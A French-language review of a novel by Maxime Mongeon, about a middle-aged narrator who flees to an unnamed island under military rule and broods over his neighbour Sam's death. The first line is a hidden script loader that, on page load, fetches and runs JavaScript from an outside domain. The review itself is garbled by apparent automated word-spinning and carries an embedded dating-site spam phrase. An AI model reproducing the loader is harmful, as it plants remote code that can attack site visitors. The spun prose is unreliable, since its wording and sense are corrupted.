;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn");
Il suffit de s’en aller vers des lieux ignorant nos habitudes pour que la vulnerabilite d’la memoire altere nos certitudes. Cela arrive au narrateur du roman de Maxime Mongeon qui, las de le existence monotone, profite d’un elan de tendresse sensuelle envers sa femme, Celine, Afin de lui annoncer que celui-ci va faire un voyage qui l’eloignera d’elle et de leurs gamin. Ce qu’elle approuve pleinement, ayant saisi le desarroi de le compagnon, ayant besoin d’ nouvelle chose en lui. Ou ailleurs. Ailleurs qui ne sera pas nomme mais depeint lorsqu’il prendra pension au sein d’ un cafe-hotel, loin des rues, proche d’la mer. Nous sommes prevenus d’une violence du climat politico-social. C’est l’armee qui dirige sauvagement l’ile, les meurtres neutralisant la vie de ceux qui resistent. Regne l’omerta, votre que comprendra le narrateur quand il essaiera de amener l’assassinat de nous, commis a le arrivee.
Accident, suicide ? Sam etait votre ecrivain meconnu, auteur de plusieurs essais negliges par la critique. Bouleverse, le narrateur a emporte deux livres de Sam concernant l’ile, une part de sa correspondance, se souvenant de ses infractions dans sa maison, autorisees par le fils. C’est un fil d’Ariane que le narrateur utilise, enferme dans sa propre grotte Afin de nous faire part des interiorites de cinquantenaire desenchante. Les etres qu’il cotoie, ceux du cafe-hotel, ont fait La selection de s’installer sur l’ile corrompue Afin de echapper a quelque modernisme qu’ils jugent nefaste, contrairement a lui qui possi?de forcement manque de courage pour satisfaire ses necessites, comme celle de rediger, s’etant contente de conformisme. Ils font Alexandre, le chef de cuisine, jeune homme au regard enormement de bonte, avec qui il cree un silencieux lien cordial. Maria, femme a tout Realiser, que le narrateur admire, « telle une reine dont la modestie irradie. Elle detient votre demarche a travers laquelle le sort du monde parait jete. » Neanmoins, il y a surtout le botaniste, « grand gaillard aux lunettes rondes » qui repertorie l’integralite des especes de plantes, avec qui il se liera malgre lui, le botaniste ayant saisi la debandade mentale du voyageur. Le etat gravement depressif. D’autres, marginaux, comme Pierre et sa femme Francine. Le narrateur, entre ses contemplations sur le magistral paysage oceanique, s’enferme dans sa chambre a lire les essais de Sam, sa correspondance. Dans votre calepin ordinaire, il prend des notes, mentionne une relation bancale avec sa femme, Celine, la mort de Sam qu’il a sorti une piscine, regrettant amerement de ne point lui avoir accorde plus d’importance, leurs conversations se limitant a celles d’un bon voisinage. Cela s’enfoncera De surcroi®t qui plus est dans un remords inconcevable, melant sa propre vie et le desir de rediger, ignorant que Sam se penchait concernant le sort du monde, le sien se limitant a son couple, ses fils, le travail. Traumatise avec le deces de le voisin, il se rendra chez 1 psychologue, pensant dissequer sa souffrance mais le specialiste parait decontenance avec nos propos de son patient, inapte a diriger sa vie, a donner votre sens a ses souhaits embrouilles au sein d’ une demission prematuree, depasse qu’il est via ses reves emiettes, par votre que celui-ci desirait entreprendre alors que Sam, veuf, se demenait pour le mieux avec les mots, ses verites profondes. Le narrateur donne l’impression de vagabonder dans un reve enfantin d’ou est exclue toute forme de maturite. Il ne choisit nullement, influencable, il subit. Cela se baigne dans l’ocean avec Alexandre, boit des bieres offertes par Pierre, patron de l’hotel. Rien de consistant n’emane de sa retraite, oubliant meme de donner de ses nouvelles a une soeur. On dirait que la sentence que celui-ci enonce contre lui dans domicile de Sam, qui donne le titre au roman, contient ses problematiques, ses refus a faire partie du monde. A l’affronter dignement. Ses reminiscences portant dans ses proches sont effleurees, telles ses relations avec ses collegues d’embauche. Se delie douloureusement l’existence cauchemardesque site de rencontre gratuit angelreturn d’un homme qui se crois victime tout d’un songe inaccompli, l’existence ne tenant qu’a un fil noue de ses surprenantes deconvenues.